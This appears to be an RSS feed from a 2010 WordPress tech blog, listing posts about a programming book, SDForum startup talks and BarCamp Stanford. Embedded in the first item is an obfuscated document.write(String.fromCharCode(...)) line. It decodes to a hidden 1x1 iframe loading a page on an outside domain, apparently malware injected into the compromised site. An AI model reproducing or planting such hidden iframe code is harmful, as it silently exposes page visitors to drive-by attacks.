http://valleygeek.org/blog Just another WordPress weblog Thu, 24 Jun 2010 23:32:20 +0000 http://backend.userland.com/rss092 en Beautiful Code: Leading Programmers Explain How They Think (Paperback) It is being released on 15th June. document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62)) http://valleygeek.org/blog/2007/03/10/i-want-this-book/ James Hong delighted the SDForum SIG with his stories of being a successful entrepreneur running the popular web site HotorNot.com. His presentation was a brilliant series of stories interlaced with demos of HotorNot. What follows are my notes of his talk Themes Boredom is a great motivator. Do something you love. Be scrappy. Being ... http://valleygeek.org/blog/2007/01/17/james-hong-sdforum-startup-sig/ SDForum has these great set of events that they organize every month. The SIG leaders do a great job in inviting speakers. Since this is the Bay Area the quality of the speakers is really high. This was a great talk by Pete Smietana where he awed us with the ... http://valleygeek.org/blog/2006/09/08/windows-sig-architecture-and-strategies-for-developing-net-controls/ BarCamp Stanford was held on the anniversary of the original Barcamp which had sparked a worldwide movement. I recorded some of the talks at Barcamp and uploaded them to Google video. Here they are ... Jordan Sissel talks about how to communicate securely and access web sites forbidden by your system administrator ... http://valleygeek.org/blog/2006/08/30/barcamp-stanford-august-25-27/ I spent a couple of years of my life in Las Cruces, New Mexico. During those years I would eagerly read up blog posts about the various geek meetings, camps and talks that happen in the Bay Area. Now that I am in the Bay Area I guess I can ... http://valleygeek.org/blog/2006/08/26/why-am-i-doing-this/